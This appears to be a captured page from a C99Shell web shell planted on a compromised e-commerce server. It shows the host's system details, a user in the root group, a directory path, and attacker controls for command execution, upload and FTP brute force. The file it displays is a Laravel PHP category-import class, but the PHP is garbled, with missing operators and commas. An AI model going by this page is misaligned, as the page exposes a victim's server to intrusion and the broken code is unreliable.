!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/ecom1.picotech.app/public_html_ecom1/app/Services/Import/Dependencies/   drwxr-xr-x
Free 25.95 GB of 117.98 GB (22%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     Category.php (4.47 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/**
 * @package Category Dependency Handler
 * @author TechVillage <support@techvill.org>
 * @contributor Md Abdur Rahaman Zihad <[zihad.techvill@gmail.com]>
 * @created 19-11-2022
 */

namespace App\Services\Import\Dependencies;

use 
App\Models\Category as CategoryModel;

class 
Category
{
    
/**
     * @var boolean
     */
    
protected $createNewEnabled true;

    
/**
     * @var array
     */
    
protected $categories = [];

    
/**
     * @var array
     */
    
protected $slugs = [];

    
/**
     * @var integer
     */
    
protected $orderByMin 0;

    public function 
__construct()
    {
        
CategoryModel::select('name''slug''order_by''id')->groupBy('name')->get()->map(function ($category) {
            
$this->pushCategory($category);
            
$this->orderByMin min($this->orderByMin$category->order_by);
        });
    }

    
/**
     * Process the given category string
     *
     * @param string|null $category
     *
     * @return array;
     */
    
public function process($category null)
    {
        if (
is_null($category)) {
            return [
1];
        }

        
$temporary explode("|"$category);

        if (
count($temporary) == 0) {
            return [
1];
        }

        
$categories explode(","$temporary[0]);

        if (
count($categories) == 0) {
            return 
null;
        };

        
$ids = [];

        foreach (
$categories as  $category) {
            
$ids[] =  $this->addCategory($category);
        }

        
$ids array_filter($ids);

        return 
count($ids) == ? [1] : $ids;
    }

    
/**
     * Get category id by category name
     *
     * @param string $name
     *
     * @return mixed
     */
    
protected function getCategoryIdByName($name)
    {
        return 
$this->categoryExists($name) ? $this->categories[$name] : false;
    }

    
/**
     * Add new category
     *
     * @param string $category
     *
     * @return array|null
     */
    
protected function addCategory($category)
    {
        
$categories explode(">"$category);

        foreach (
$categories as $category) {

            
$category trim($category);

            if (!
$this->categoryExists($category) && $this->canCreate()) {
                
$id $this->createNewCategory($category);
            } else {
                
$id $this->getCategoryIdByName($category);
            }
        }
        return 
$id ?? null;
    }

    
/**
     * Check if the category already exists
     *
     * @param string $category
     *
     * @return boolean
     */
    
protected function categoryExists($category)
    {
        return isset(
$this->categories[$category]);
    }

    
/**
     * Create new category using category name
     *
     * @param string $name
     *
     * @return int
     */
    
protected function createNewCategory($name)
    {
        
$category CategoryModel::create([
            
'name' => $name,
            
'slug' => $this->generateSlug($name),
            
'order_by' => $this->orderByMin
        
]);

        
$this->pushCategory($category);

        return 
$category->id;
    }

    
/**
     * Generate slug
     *
     * @param string $name
     *
     * @return string
     */
    
protected function generateSlug($name)
    {
        
$counter 1;
        
$ext '';
        do {
            
$slug \Str::slug($name) . $ext;
            
$ext '-' $counter;
        } while (
$this->slugExists($slug) && $counter++);

        return 
$slug;
    }

    
/**
     * Check if the slug already exists
     *
     * @param string $slug
     *
     * @return boolean
     */
    
protected function slugExists($slug)
    {
        return isset(
$this->slugs[$slug]);
    }

    
/**
     * Push category to to the list
     *
     * @param CategoryModel $category
     *
     * @return void
     */
    
protected function pushCategory($category)
    {
        
$this->categories[$category->name] = $category->id;
        
array_push($this->slugs$category->slug);
    }

    
/**
     * Disable creating new instance
     *
     * @return self
     */
    
public function disableCreateNew()
    {
        
$this->createNewEnabled false;
        return 
$this;
    }

    
/**
     * Checks if creating new instance is enabled
     *
     * @return boolean
     */
    
protected function canCreate()
    {
        return 
$this->createNewEnabled;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.005 ]--